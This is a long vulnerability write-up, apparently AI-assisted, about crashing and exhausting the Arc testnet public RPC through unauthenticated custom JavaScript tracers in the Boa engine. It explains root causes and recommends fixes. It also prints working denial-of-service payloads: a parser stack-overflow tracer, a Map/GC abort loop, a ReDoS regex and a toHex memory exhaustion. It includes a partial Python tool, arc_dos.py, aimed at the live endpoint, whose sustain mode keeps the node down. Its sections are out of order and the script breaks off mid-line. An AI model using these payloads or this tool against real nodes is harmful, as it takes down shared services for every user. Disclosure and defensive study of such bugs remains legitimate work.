The regress regex engine has no backtracking limit (boa-dev/boa #4643). The whole search runs inside one native call, so neither the JS loop limit nor any interrupt can stop it.

JavaScript
var s=''; for (var i=0;i<N;i++) s+='a'; s+='!';
/^(a+)+$/.test(s);

Live measurements: N=22 gives 0.14 s, N=24 gives 0.54 s, N=26 gives 2.28 s, roughly a factor of four per two extra characters. Extrapolated, N=30 is about 37 s and N=40 about 10 hours, per request and per worker thread. A handful of concurrent requests at N around 35 to 40 exhausts the RPC worker pool indefinitely.

Step 4: toHex exhausts memory and CPU through host glue

The toHex builtin goes through bytes_from_value, which iterates array.length in a native Rust loop, so the JS loop limit does not apply.

JavaScript
var a = []; a.length = 16777215;        // bounded live test (max: 4294967295)
var h = toHex(a); return 'hexlen:' + h.length;

Live result: 1.45 s -> {"result":"hexlen:33554432"}, a 33.5 MB hex string built natively. In the lab at 0xffffffff the same request cost 137 s CPU + >12 GB peak RSS + an 8.6 GB output string per request.

Step 5: response amplification

Tracer results are returned with no size cap. In the lab, return 'x'.repeat(512*1024*1024) produced a 512 MB RPC response at 3.77 GB peak RSS, with no cap found: a request of about 200 bytes amplified roughly 4.5 million times. Combined with the arbitrary-origin CORS reflection described below, a single malicious page can make every visitor's browser pull multi-hundred-MB responses from the RPC.

Step 6: sustained denial of service

The researcher wrote a self-contained PoC, arc_dos.py, with modes for each primitive that log a JSONL evidence trail. sustain mode loops kill requests and probes health between rounds, showing continuous degradation.

Bash
python3 arc_dos.py health     # baseline
python3 arc_dos.py kill       # single process-kill + pre/post health evidence
python3 arc_dos.py burn       # single ReDoS thread-burn
python3 arc_dos.py exhaust    # single toHex memory/CPU exhaustion
python3 arc_dos.py sustain    # loop kills + health probes -> evidence JSONL
Python
#!/usr/bin/env python3
"""
arc_dos.py - PoC: sustained unauthenticated DoS of the Arc testnet public RPC
=============================================================================

Evidence tool for the issue "Unauthenticated custom JavaScript execution in
Arc RPC debug tracing -> remote process termination / sustained node DoS".

The Arc public RPC endpoints (rpc.testnet.arc.network and its QuickNode
mirror) expose go-ethereum-style custom JavaScript tracers via
`debug_traceCall` / `debug_traceTransaction`. The embedded engine is Boa
(boa_engine 0.21.x) wired through revm-inspectors' JsInspector, with:

  * no wall-clock execution timeout,
  * no interrupt/cancellation API in the engine,
  * no memory / result-size caps,
  * panic containment only for *unwinding* panics.

This script demonstrates, against the live endpoint, three independent
unauthenticated primitives:

  1. KILL   - remote process termination of the RPC backend worker, two
              independent vectors (both uncatchable / catch_unwind-proof):
                a) parser stack overflow  -> SIGABRT of the worker thread
                b) Map+GC BorrowMutError  -> non-unwinding panic in a GC
                   finalizer -> whole-process abort (boa-dev/boa #5337)
  2. BURN   - thread-pool exhaustion via unbounded RegExp backtracking
              (regress engine, boa-dev/boa #4643). One request pins one
              worker thread for attacker-chosen CPU time (hours at N~40).
  3. EXHAUST -  memory/CPU exhaustion via the host-glue `toHex` builtin,
              which iterates attacker-controlled array lengths natively
              (immune to the 200k JS loop limit).

`sustain` mode loops KILL requests and verifies that the endpoint is
continuously degraded (backends cycling) - the "keep the node down"
evidence mode.

Edit the globals below to configure. Run:
  python3 arc_dos.py health
  python3 arc_dos.py kill
  python3 arc_dos.py burn
  python3 arc_dos.py exhaust
  python3 arc_dos.py sustain

All requests/responses are logged as JSONL (stdout and EVIDENCE_PATH) with
timestamps, latency, and response body - the run itself is the evidence bundle.
"""

import json
import threading
import time
import urllib.error
import urllib.request
from datetime import datetime, timezone

# ----------------------------- configuration -------------------------------
TARGET = "https://rpc.testnet.arc.network"

KILL_VECTOR = "mapgc"   # "mapgc" (non-unwinding process abort) or "parser" (stack overflow)
REDOS_N = 26            # backtracking input length: 26 ~2.3s, 30 ~37s, 40 ~10h per request
EXHAUST_LEN = 16777215  # array length for the toHex host-glue exhaustion (max: 4294967295)

SUSTAIN_ROUNDS = 20     # sustain mode: number of kill rounds
SUSTAIN_WORKERS = 2     # sustain mode: concurrent kill requests per round
SUSTAIN_INTERVAL = 8.0  # sustain mode: seconds between rounds

EVIDENCE_PATH = "arc_dos_evidence.jsonl"  # set to None to log to stdout only
# ---------------------------------------------------------------------------

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                  "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[redacted] Safari/537.36",
    "Content-Type": "application/json",
}
ZERO = "[redacted]"

def tracer_health():
    return ("({result:function(ctx,db){return 'HEALTH_OK';},"
            "fault:function(){},step:function(){}})")

def tracer_kill_parser(depth=2000):
    # Parser stack overflow: recursive-descent parser recurses natively on
    # nested parens; ~150 is enough on a 2MB tokio worker stack. Uncatchable.
    return ("({result:function(ctx,db){ try { Function('('.repeat(%d));"
            " return 'SURVIVED'; } catch(e){ return 'CAUGHT:'+String(e); } },"
            "fault:function(){},step:function(){}})" % depth)

def tracer_kill_mapgc():
    # boa-dev/boa #5337: Map iterator allocation while GC finalizes a dead
    # MapLock -> BorrowMutError in a destructor -> non-unwinding abort.
    # Fires in <0.1s of native work; catch_unwind cannot contain it.
    return ("({result:function(ctx,db){ var m=new Map();"
            " for(var i=0;i<1000;i++) m.set(i,i);"
            " for(var j=0;j<199000;j++){ m.entries(); }"
            " return 'SURVIVED'; },fault:function(){},step:function(){}})")

def tracer_burn_redos(n):
    # regress #4643: no backtracking limit. Runtime doubles per +1 char.
    # CPU burns inside ONE native call, so the 200k JS loop limit and the
    # absence of an interrupt API don't help.
    return ("({result:function(ctx,db){ var s=''; for(var i=0;i<%d;i++) s+='a';"
            " s+='!'; var t0=Date.now(); /^(a+)+$/.test(s);"
            " return 'redos ms:'+(Date.now()-t0); },"
            "fault:function(){},step:function(){}})" % n)

def tracer_exhaust_tohex(length):
    # bytes_from_value iterates array.length NATIVELY (Rust loop) -> immune
    # to the JS loop limit. 0xffffffff entries -> 137s CPU + ~12GB RSS +
    # an 8.6GB output string per request (measured in the target-matched lab).
    return ("({result:function(ctx,db){ var a=[]; a.length=%d;"
            " var h=toHex(a); return 'hexlen:'+h.length; },"
            "fault:function(){},step:function(){}})" % length)

KILL_VECTORS = {"parser": tracer_kill_parser, "mapgc": tracer_kill_mapgc}

class EvidenceLog:
    def __init__(self, path):
        self.lock = threading.Lock()
        self.fh = open(path, "a") if path else None

    def emit(self, record):
        record["ts"] = datetime.now(timezone.utc).isoformat()
        line = json.dumps(record)
        with self.lock:
            print(line)
            if self.fh:
                self.fh.write(line + "\n")
                self.fh.flush()

    def close(self):
        if self.fh:
            self.fh.close()

def rpc_call(tracer, req_id, timeout=90):
    payload = {
        "jsonrpc": "2.0", "id": req_id, "method": "debug_traceCall",
        "params": [
            {"from": ZERO, "t

Verified live in kill mode: pre-health OK, the kill request returns internal error after 30.15 s, the first post-probe times out (backend down), and subsequent probes are OK after LB/restart recovery. The report states that repeating the loop keeps the fleet in a crash-restart cycle, and that with enough workers and ReDoS mixed in, new requests starve behind burned threads.

Additional lab findings, not detonated live

Bug Effect Reference
JSON.stringify native recursion (>=2048-deep object) process kill (SIGABRT) lab crasher-matrix
Proxy chain >=20k deep property get process kill (SIGABRT) lab crasher-matrix
Async-generator .return({get then(){this.then}}) process kill (boa #4515) lab crasher-matrix
'x'.repeat(1<<30) / padStart(2**31) ~25-48 GB unchecked alloc -> OOM kill (boa #5367) lab crasher-matrix
replace amplification (boa #4655) unbounded result build -> OS OOM-kill lab crasher-matrix
4 stale-integer panics (%TypedArray%.slice species-shrink, ArrayBuffer.slice, Atomics.store/load RAB-shrink) per-request panic new bugs found during this research
(-2147483648|0) % (-1|0) (boa #5481) per-request panic -> internal eth error (contained) validated live

A memory-corruption audit was run as a negative control: the full typed-array detach/shrink-during-callback matrix (40+ cases), GC-pressure reentrancy and host-glue fuzzing (738 executions) found zero OOB read/write, zero UAF and zero heap disclosure. Boa's GcCell borrow guards hold, and ArrayBuffer.prototype.transfer is compiled out because the experimental feature is off. Native RCE was not achievable through this surface with known techniques.

Root cause

The bugs sit in three layers, and the layering matters for remediation.

1. Boa engine bugs (upstream, boa-dev/boa and the regress regex crate). These affect any application that embeds Boa 0.21.x to run untrusted JavaScript, not just Arc or reth. The engine is memory-safe Rust, so the reachable bug class is panics and aborts rather than memory corruption, but that is enough for remote process termination.

  • #5337 (Map plus GC BorrowMutError). Boa's JsMap uses a RefCell-style borrow guard. Map.prototype.entries() mutably borrows the map while allocating the iterator object; that allocation can trigger a GC cycle, whose finalizer for a dead internal MapLock tries to borrow the same cell again, producing BorrowMutError inside a destructor during cleanup. A panic that fires while another panic is being cleaned up is non-unwinding, so the process aborts unconditionally. The trigger needs only about 20k loop iterations of trivial native calls, under 0.1 s. It was fixed on boa main on 2026-04-17 but is present in every released version up to and including 0.21.1.
  • Parser stack overflow. The recursive-descent parser has no nesting-depth guard. Function('('.repeat(150)) recurses natively about 150 frames deep and overflows the 2 MB tokio worker stack, ending in SIGABRT. A stack overflow is a fatal runtime error, not a panic, so no mechanism can catch it. Tracked as #4397/#1402, open.
  • Serializer, proxy and async-gen native recursion. JSON.stringify on a 2048-deep or deeper object, a 20k-deep or deeper Proxy chain property get, and the async-generator then-getter cycle (#4515) all recurse natively past the worker stack with the same SIGABRT result. The 10k JS-level recursion limit does not cover these paths.
  • #4643 (ReDoS). The regress engine has no backtracking budget. /^(a+)+$/ on N characters explores about 2^N paths, and the entire search runs inside one native call, so neither the JS loop limit nor any interrupt can stop it. Open and unfixed.
  • #5367 / #4655 (memory exhaustion). String.prototype.repeat and padStart build the result via an unchecked Vec::with_capacity (about 24 bytes per element, so repeat(1<<30) requests about 25.7 GB and hits an alloc-failure abort on Linux), and String.prototype.replace builds unbounded result strings (OS OOM-kill observed). Boa has no string-length cap (#4409, open), and its per-ArrayBuffer cap of 1.5 GiB has no count limit.
  • #5481 (i32::MIN % -1). A division-overflow panic that fires even in release builds. On this target it is contained: the unwinding panic becomes a per-request internal eth error, which shows exactly where the node's panic containment boundary lies, since it catches unwinding panics only.

2. Host-glue bugs (upstream, paradigmxyz/revm-inspectors). The Rust bindings that expose tracer helpers to JS have their own problems.

  • bytes_from_value unbounded iteration. toHex, toWord, slice and similar helpers accept a plain JS array and loop array.length times in native code, allocating Vec::with_capacity(length) up front. a.length = 0xffffffff yields about 137 s CPU, over 12 GB RSS and an 8.6 GB output string per request, entirely invisible to the JS loop limit. No length cap exists.
  • Four stale-integer panic sites, found during this research. %TypedArray%.slice (species-shrink), ArrayBuffer.prototype.slice, and Atomics.store/load with resizable-buffer shrink via valueOf: bounds are captured, a user callback shrinks the backing buffer, and the native code then slices with the stale length, producing a bounds-checked panic and a per-request DoS.

3. Node configuration (Arc's own attack surface). The debug namespace with string-tracer support is exposed on a public, unauthenticated endpoint, with no wall-clock timeout, no memory or result caps, no rate limiting, and the tracer running in-process, on a thread of the RPC node rather than in an isolated worker process. Every engine and host bug above becomes a remote, unauthenticated node kill only because of this layer, and even a bug-free engine would still allow unbounded compute, since a 199,999-iteration loop of heavy native work is fully within limits.

The consequence is that this is not an Arc-specific code bug that one patch retires. Layers 1 and 2 are upstream and affect every Boa or revm-inspectors consumer that runs attacker JavaScript, including any reth fork exposing JS tracers, and Boa is explicitly marketed for embedding untrusted scripts. Until Boa ships interrupt support and the panic sweep reaches a release, the only safe deployment is to not expose string tracers publicly, or to run them in a separate, resource-limited process.

Impact

  • Total, repeatable, unauthenticated availability loss of the Arc public RPC: one packet per backend restart cycle. Any dApp, wallet, explorer or user routed to the public RPC is down for the duration of the attack.
  • Drive-by capability. Both endpoints reflect arbitrary Origin with Access-Control-Allow-Credentials: true (confirmed live), so any website can weaponise its visitors' browsers to fire kill or burn requests, with no infrastructure needed by the attacker.
  • Cost asymmetry. Requests of about 200 bytes cause process aborts, multi-minute CPU burns or multi-GB allocations, and defending at the edge is near-impossible because the payloads are syntactically valid JSON-RPC.
  • Testnet context. Today the blast radius is testnet infrastructure and the QuickNode mirror, a third party bearing load from Arc's misconfiguration. If the same RPC stack ships to mainnet with debug tracing exposed, this becomes a mainnet-critical availability vulnerability.

Fix

These are the report's recommendations; the report does not describe a fix that was applied.

  1. Disable string (custom JS) tracers on public RPC. Restrict debug_trace* to named tracers (callTracer, prestateTracer) or to authenticated or internal endpoints. This is the only complete fix.
  2. If JS tracers must stay public:
    • run the tracer in a separate sandboxed worker process (not a thread) with rlimits (CPU seconds, address space) and a hard wall-clock kill, because a Boa context cannot be interrupted in-process;
    • cap tracer source size, result size and per-request memory;
    • rate-limit per IP and require authentication;
    • upgrade boa_engine past 0.21.1, since the #5337 non-unwinding abort and numerous panic sites are fixed on main, and track boa security issues;
    • cap bytes_from_value input length in revm-inspectors to close the toHex 4 GiB iteration bug.

Short term, the report recommends removing the tracer string parameter from the public debug_traceCall/debug_traceTransaction handlers (allow named tracers only) and putting the full debug namespace behind authentication. Long term: process-isolated tracer execution with resource limits, boa at or above the version fixing #5337, and upstream patches to revm-inspectors (bytes_from_value length cap) and boa (parser and serializer depth guards, several of which landed post-0.21.1).

Variants to test

  • Other reth forks exposing JS tracers. Send a benign tracer that returns a constant and check whether debug_traceCall with a tracer string is accepted unauthenticated. A positive result is a result object echoing your constant, which means the same Boa/revm-inspectors stack is reachable.
  • Engine fingerprinting before anything else. Probe TypedArray as an own global property, 'stack' in new Error(), the null.x TypeError text and the Object.prototype key order. A positive result is the Boa signature set from the table above, which tells you the engine bugs apply.
  • Parser depth threshold. Try Function('('.repeat(N)) at increasing N with a health probe between attempts. A positive result is a request that hangs to the load-balancer timeout and returns internal error while a smaller N returns a clean SyntaxError.
  • Map plus GC loop. Run the m.entries() loop just under the loop limit. A positive result is a process abort in under a second, with the backend down on the next probe.
  • Regex backtracking scaling. Time /^(a+)+$/ at N=22, 24 and 26. A positive result is roughly a factor of four per two characters, which extrapolates to hours at N around 40.
  • Host-glue array length. Set a.length to a large value and call toHex. A positive result is a response whose hexlen is twice the array length, with latency and memory growing with the length.
  • Result-size amplification. Return 'x'.repeat(...) at increasing sizes. A positive result is a response body of the requested size with no cap and no error.
  • CORS reflection. Send an arbitrary Origin header and inspect Access-Control-Allow-Origin and Access-Control-Allow-Credentials. A positive result is your origin reflected with credentials allowed, which makes drive-by attacks from any page possible.
  • Stale-integer panics. Exercise %TypedArray%.slice, ArrayBuffer.prototype.slice and Atomics.store/load with a valueOf callback that shrinks a resizable buffer. A positive result is a per-request panic returned as internal eth error.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 49 min read.

What happened, in plain words

Arc Network, a project run by Circle, publishes a public testnet RPC endpoint at https://rpc.testnet.arc.network, with a mirror operated by QuickNode at https://rpc.quicknode.testnet.arc.network. Both of them accept a feature called a custom JavaScript tracer: you send the node a small JavaScript program as part of your request, and the node runs that program on its own server. The researcher found that this feature can be abused, without any account or password, to crash the node's worker process or to tie up its resources for a very long time.

To follow the rest of this article you only need to know a handful of ideas, so here they are before we start.

  • An API (application programming interface) is a way for one program to talk to another over the network. Think of a restaurant: you do not walk into the kitchen, you order from a menu and a waiter brings the result. The menu is the API.
  • An RPC endpoint is a specific kind of API used by blockchains. A wallet or a website does not keep a full copy of the blockchain; it asks a node (a server that does keep the copy) questions like "what is the balance of this address?". The address it sends those questions to is the RPC endpoint.
  • JSON-RPC is the format of those questions. The client sends a small text document in JSON (a way of writing data as text, with curly braces and quotes) that names a method (the question) and params (the details). The server replies with a JSON document containing a result or an error.
  • A node is the server program that holds the blockchain data and answers those questions. A worker process is one running copy of that program. A thread is a smaller unit of work inside a process; one process can run several threads at once.
  • A tracer is a debugging tool. When you want to understand exactly what happened during a blockchain call, you ask the node to walk through it step by step and report what it saw. A custom JavaScript tracer goes further: instead of using a built-in tracer, you supply your own little JavaScript program, and the node runs it for you.
  • JavaScript is the programming language that web pages run in your browser. Here it is not running in a browser at all: it is running on the server, inside an engine, which is the piece of software that reads and executes JavaScript. The engine in this story is called Boa, written in a language called Rust.
  • Denial of service (DoS) is a class of attack where you do not steal data or break in; you simply make a service unusable for everyone else, for example by crashing it or keeping it too busy to answer.
  • A panic is what a Rust program does when it hits a situation it cannot handle. Normally a panic is caught and turned into an error message. Some panics cannot be caught, and those kill the whole process.
  • CORS is a browser rule about which websites may talk to which servers. If a server answers with permissive CORS headers, any website can make your browser send requests to it.

With those ideas in place, the story is this: the tracer feature was reachable by anyone on the internet, the JavaScript ran directly inside the node's own process, and there were only two very narrow safety limits. The researcher found several ways to get past those limits and either crash the process or make it burn enormous amounts of CPU and memory. The report does not describe a fix that was applied; it ends with recommendations.

Context: what the product is and what feature is involved

Arc Network (Circle) runs a public testnet RPC at https://rpc.testnet.arc.network, with a QuickNode-operated mirror at https://rpc.quicknode.testnet.arc.network. A testnet is a copy of a blockchain used for testing, with no real money on it. Both endpoints expose the go-ethereum-style debug namespace, including debug_traceCall and debug_traceTransaction with support for custom JavaScript tracers passed as a string in the tracer parameter.

A namespace here is just a prefix on method names. Methods starting with debug_ belong to the debugging family. go-ethereum, usually shortened to geth, is the reference implementation of an Ethereum node, and many other projects copy its method names and behaviour.

A custom JS tracer is a small script that the node executes server-side for every step of a traced call or transaction. It receives the EVM context and a database handle and returns a result object. The EVM is the Ethereum Virtual Machine, the part of the node that actually runs blockchain code; the context is the information about the call being traced, and the database handle is the object the script can use to look things up. In go-ethereum this is a convenience for debugging; geth's own documentation warns that enabling debug over HTTP is "not recommended because access to these methods increases the attack surface".

"Increases the attack surface" simply means: every feature you switch on is another door someone can try. The geth authors are saying that the debugging door is one you probably do not want open to the public.

On Arc the tracer runs inside the Boa engine (boa_engine 0.21.x, a pure-Rust ECMAScript implementation) embedded through revm-inspectors' JsInspector, the reth-lineage tracing stack. The node reports web3_clientVersion = "arc/v1". The JavaScript executes in-process, on a thread of the RPC node itself, with no authentication, no execution timeout, no memory caps and no result-size limits.

Unpacking that sentence:

  • ECMAScript is the official name of the language that everyone calls JavaScript.
  • revm-inspectors is a Rust library that connects the tracing machinery to the JavaScript engine. JsInspector is the specific piece inside it that runs your script.
  • reth is another Ethereum node implementation, written in Rust; "reth-lineage" means the tracing stack descends from reth's code.
  • In-process is the crucial part. The script does not run in a separate, disposable sandbox program. It runs inside the same program that answers everyone else's requests. If the script kills that program, it kills the node for everybody.
  • No authentication means no API key, no login, no token. Anyone who can reach the URL can use it.
  • No execution timeout means nothing stops a script that runs for hours.
  • No memory caps means nothing stops a script that asks for gigabytes.
  • No result-size limits means nothing stops the node from sending back an enormous answer.

Setup: how the researcher prepared

The researcher worked unauthenticated: no API key, no session, no account. The tooling described is a target-matched local lab, live probes and a Python evidence script.

A local lab is a copy of the target software that you run on your own machine. It lets you try dangerous things without harming anyone, and it lets you measure precisely. "Target-matched" means the lab was built to match the real target as closely as possible, so that what happens in the lab should happen on the target.

The lab reproduced the real JsInspector code path with boa 0.21.1 in both debug and release builds, and was used for roughly 1,000 executions. Debug and release are two ways of compiling a program: debug builds keep extra checking and are slower, release builds are optimised. Testing both matters because a bug that only appears in one build might not affect the real server, which runs a release build.

Live probes against the endpoint were bounded and interleaved with health checks. A probe is a small test request. Bounded means deliberately kept small so it cannot cause serious harm. A health check is a harmless request whose only purpose is to ask "are you alive and answering normally?". Interleaving them means checking health before and after each risky test, so you can tell whether the risky test changed anything.

The QuickNode mirror received benign probes only, since it is shared third-party infrastructure. Benign means harmless: requests that only ask the node to confirm it is working. The mirror belongs to another company and serves other customers, so the researcher did not crash it.

Before exploiting anything, the researcher fingerprinted the engine to be certain which implementation was running. Fingerprinting means asking a system a series of small, harmless questions whose answers differ between implementations, the way you might identify a person by their accent rather than by asking for ID. The table below is the evidence, as observed on the target:

Fingerprint point Observed on target Unique to
TypedArray is an own property of the global object yes Boa only (quickjs/V8/JSC do not expose it)
'stack' in new Error() false Boa <=0.21.1 (no Error.stack; quickjs always has it)
TypeError for null.x cannot convert 'null' or 'undefined' to object byte-match to boa value/mod.rs
native fn toString function () { [native code] } (single-line) Boa (quickjs is multi-line)
Object.prototype key order __proto__ first Boa (quickjs: toString first)
bigint === BigInt, no bigInt yes revm-inspectors <0.40 (geth uses a polyfill bigInt)
global list (62 entries, exact order) matches boa set_default_global_bindings() + 8 host helpers Boa 0.21.x
intrinsicGas: 0, time = block timestamp yes revm-inspectors JsEvmContext
"invalid hex string" / slice OOB message format yes revm-inspectors builtins.rs
loop limit error Maximum loop iteration limit 200000 exceeded yes revm-inspectors LOOP_ITERATION_LIMIT

Each row is a question and the answer the target gave. For example, the first row asks whether the built-in object TypedArray appears as a property of the global object (the top-level object that holds all built-ins). Boa says yes; the other engines named in the table, quickjs, V8 and JSC, do not. quickjs, V8 and JSC are other JavaScript engines: V8 runs in Chrome, JSC in Safari, quickjs is a small embeddable one. The second row asks whether a freshly created Error object has a stack property; Boa up to 0.21.1 says no. The third row compares the exact wording of an error message, character for character ("byte-match"). The fourth and fifth rows look at how a built-in function prints itself and in what order object keys are listed. The sixth row checks whether the name bigint exists as an alias for BigInt; the version of revm-inspectors in use does not add that alias, while geth does. The seventh row compares the complete list of global names, in order, against what Boa's source code sets up. The last three rows match error strings and context fields to specific source files in revm-inspectors.

The environment matches paradigmxyz/revm-inspectors around v0.39 (before the bigInt alias was added) on boa_engine 0.21.x with RuntimeLimits { loop_iteration: 200_000, recursion: 10_000 }, the standard reth JS-tracer configuration.

RuntimeLimits is the configuration object that holds the two safety limits. loop_iteration: 200_000 means a JavaScript loop may run at most 200,000 times. recursion: 10_000 means JavaScript functions may call themselves at most 10,000 levels deep. These two numbers are the entire safety net, and the rest of the report is largely about how little they cover.

Finding it: why the two guards are not enough

The tracer sandbox has exactly two guards: a 200,000-iteration JS loop limit and a 10,000 JS recursion limit. Both only count JavaScript-level work. Native work performed inside the engine or inside the Rust host glue, such as regex backtracking, JSON.stringify recursion, toHex iteration, parser recursion or BigInt exponentiation, is invisible to them.

Some vocabulary first:

  • Native work means work done by the compiled Rust code underneath JavaScript, rather than by JavaScript instructions the engine is counting. The loop counter only ticks when the engine executes a JavaScript loop step. If a single JavaScript statement hands off to Rust code that then runs for an hour, the counter never moves.
  • Host glue is the Rust code that connects JavaScript to the node's own features. When your script calls a helper like toHex, the helper is not really JavaScript; it is Rust code exposed under a JavaScript name.
  • Regex backtracking is how a regular expression (a pattern-matching tool) searches for a match. Some patterns make the matcher try an enormous number of combinations. ReDoS stands for Regular expression Denial of Service: a pattern that is cheap to write but expensive to run.
  • BigInt is JavaScript's type for very large whole numbers. Exponentiation is raising a number to a power, written **.

For example, 2n ** (2n**24n) runs natively in about 0.2 s on the live endpoint and consumes no loop budget at all, and a 199,999-iteration loop where each iteration does unbounded native work is still "within limits".

Read that example slowly. 2n is a BigInt two. 2n**24n is two to the power of twenty-four, about sixteen million. Then 2n ** (that) is two raised to the power of sixteen million, a number with millions of digits. Computing it is one JavaScript expression, so the loop counter sees one step, but the Rust code underneath works hard. The same trick applies to a loop that runs 199,999 times, one under the limit, where each pass does something expensive in native code: the guard is satisfied while the machine is saturated.

The recursion limit has the same shape: it only guards JS-level calls, so native recursion in the parser, serializer, proxy-chain traversal or @@toPrimitive conversion is unguarded and overflows the 2 MB tokio worker stack, which ends in SIGABRT.

A few more terms:

  • A parser reads source code and turns it into something the engine can run. A recursive-descent parser is a common design where the parser calls itself for nested structures, so deeply nested input means deeply nested calls.
  • A serializer turns an object into text, as JSON.stringify does.
  • A Proxy in JavaScript is an object that intercepts property access and forwards it, and proxies can be chained.
  • @@toPrimitive is the hook JavaScript calls when it needs to convert an object to a simple value.
  • The stack is the region of memory where a program keeps track of nested function calls. Each call adds a frame. The worker stack here is 2 MB, which is not much. When frames exceed it, you get a stack overflow.
  • tokio is the Rust library that manages the node's worker threads.
  • SIGABRT is the signal the operating system sends to a program that has aborted itself. In practice it means the process is dead.

Panic handling is the third weak point. Unwinding Rust panics are caught per request and returned as internal eth error, but a stack overflow is a fatal runtime error that no mechanism can catch, and a panic that fires inside a GC finalizer during cleanup is non-unwinding, so the process aborts regardless of catch_unwind.

This paragraph needs the most careful unpacking, because it is the heart of the report.

  • Unwinding is Rust's normal way of handling a panic: the program walks back up through the nested calls, cleaning up as it goes, until something catches the panic. The node catches these per request and replies with the generic message internal eth error.
  • catch_unwind is the Rust mechanism for catching an unwinding panic. It is the safety net.
  • A GC finalizer is cleanup code that runs when the garbage collector (the part of the engine that frees memory no longer in use) decides an object is dead. Finalizers run at awkward moments, in the middle of other work.
  • A non-unwinding panic is a panic that happens while another panic is already being cleaned up. Rust's rule is that this situation cannot be recovered from, so the process aborts immediately. The safety net is not skipped; it is structurally unable to help.

Finally, Boa has no interrupt API (feature request boa-dev/boa #3442, open since 2023). Unlike goja, geth's engine, which supports Runtime.Interrupt, a Boa context stuck in native work cannot be stopped, so even a correct wall-clock timeout could not preempt a thread burn.

An interrupt API is a way for the surrounding program to tell the engine "stop what you are doing now". goja is the JavaScript engine geth uses. Wall-clock time is real elapsed time, as opposed to CPU time. The point is subtle but important: adding a timeout sounds like an easy fix, but a timeout can only work if the engine can be told to stop. Boa cannot be told, so a timeout would fire, notice the thread is still busy, and be powerless.

Exploitation: the steps, one at a time

All live tests ran against rpc.testnet.arc.network with bounded payloads and health checks between crash tests. Each tracer is sent as the tracer string parameter of debug_traceCall.

A payload is the content of a request, the part that carries the actual instruction. Sending each tracer as the tracer parameter means the JavaScript text is placed inside the JSON request, in the slot the node expects for a custom tracer.

Step 1: parser stack overflow kills the worker

Boa's parser is recursive-descent with no nesting-depth guard. About 150 nested parentheses overflow a 2 MB worker stack; the release threshold was verified to lie in (50, 150].

"The threshold lies in (50, 150]" is mathematical notation: 50 is not enough, 150 is enough, so the exact breaking point is somewhere above 50 and at or below 150.

JavaScript
// tracer body (result callback)
try { Function('('.repeat(2000)); return 'SURVIVED'; }
catch(e){ return 'CAUGHT:'+String(e); }

Line by line:

  1. // tracer body (result callback) is a comment. The result callback is the function the node calls to get your tracer's answer.
  2. try { ... } begins a block where JavaScript errors are caught rather than allowed to propagate.
  3. Function('('.repeat(2000)) builds a string of 2,000 opening parentheses and hands it to the Function constructor, which tries to parse it as JavaScript source. Parsing 2,000 nested parentheses drives the parser's native recursion 2,000 levels deep.
  4. return 'SURVIVED'; would run if parsing somehow succeeded.
  5. catch(e){ return 'CAUGHT:'+String(e); } catches a normal JavaScript error and returns its text, so you can see the difference between "the script caught an error" and "the process died".

The Function constructor parses the generated source, and the repeated ( drives the native parser recursion. The try/catch is there to show that a JS-level exception would be caught, but a stack overflow is not a JS exception. Live result:

Text
parens=50:  0.20s -> {"result":"CAUGHT:SyntaxError: failed to parse function body: abrupt end"}   (control)
parens=150: 30.24s -> {"error":{"code":-32603,"message":"internal error"}}                       (worker SIGABRT; 30s = LB timeout)
parens=500: 30.22s -> {"error":{"code":-32603,"message":"internal error"}}
health after: OK (node recovered via LB/restart)

Reading the output:

  • With 50 parentheses, the answer comes back in 0.20 seconds with a clean SyntaxError. A SyntaxError is JavaScript's way of saying "this is not valid code". This is the control: it proves the mechanism works and the node is healthy.
  • With 150 parentheses, the request hangs for 30.24 seconds and then returns internal error with code -32603. LB stands for load balancer, the front door that spreads requests across several backend servers. Its timeout is 30 seconds. When a backend dies, the load balancer waits its full timeout and then gives up with a generic error. So 30 seconds plus internal error is the signature of a dead backend, not of slow work.
  • With 500 parentheses, the same thing happens.
  • health after: OK means the node came back, because the load balancer routed to a restarted or standby backend.

The 50-paren control returns instantly with a clean SyntaxError, and a 2.4 s ReDoS request completes normally, which proves the 30 s internal error is a dead backend rather than slow execution.

This is careful experimental design. If you only saw the 30-second error, you might think the node was just slow. The control shows that a smaller input returns instantly, and a genuinely slow request of known duration (2.4 seconds) still completes normally. So the 30-second error must mean the backend is gone.

Step 2: Map plus GC BorrowMutError aborts the process

This vector is deterministic, needs under 0.1 s of native work, is independent of stack size and is non-unwinding.

Deterministic means it works every time, not just sometimes. Independent of stack size means making the stack bigger would not help.

JavaScript
// tracer body (result callback)
var m = new Map();
for (var i = 0; i < 1000; i++) m.set(i, i);
for (var j = 0; j < 199000; j++) { m.entries(); }   // under the 200k loop limit
return 'SURVIVED';

Line by line:

  1. var m = new Map(); creates a Map, a JavaScript container that stores key-value pairs.
  2. for (var i = 0; i < 1000; i++) m.set(i, i); fills it with 1,000 entries, where key i maps to value i.
  3. for (var j = 0; j < 199000; j++) { m.entries(); } calls m.entries() 199,000 times. entries() returns an iterator over the map's contents. The comment notes this is deliberately one thousand under the 200,000 limit, so the guard never fires.
  4. return 'SURVIVED'; would run if the process lived long enough.

The loop stays under the 200,000-iteration limit. In the lab the sequence produced Object already borrowed: BorrowMutError (ordered_map.rs), then panic in a destructor during cleanup, then thread caused non-unwinding panic. aborting. (SIGABRT, identical in debug and release). Live result:

What is a BorrowMutError? Rust has a rule that only one piece of code may modify a value at a time. The engine enforces this with a borrow guard, a small marker that says "this value is currently being modified". If a second piece of code tries to modify it while the marker is held, Rust raises BorrowMutError. Normally that is a programming mistake caught during development. Here it happens at the worst possible moment: inside a destructor (cleanup code) that is itself running during garbage collection, which is itself running during the cleanup of an earlier panic. That chain is why the panic is non-unwinding and the process aborts.

Text
pre-kill health:  OK (0.16s)
kill request:     30.15s -> {"error":{"code":-32603,"message":"internal error"}}   (process abort)
post-kill probe:  30.09s -> read timed out                                        (backend down)
post-kill probe:  0.16s -> HEALTH_OK                                              (LB routed to restarted/standby backend)

Reading it: before the attack, the node answers a health check in 0.16 seconds. The kill request hangs for 30.15 seconds and returns the load balancer's generic error. The next probe times out after 30.09 seconds with read timed out, meaning the backend was still down. The probe after that answers in 0.16 seconds with HEALTH_OK, because the load balancer had moved traffic to a restarted or standby backend. The sequence is the fingerprint of a crash followed by recovery.

Step 3: ReDoS pins a worker thread

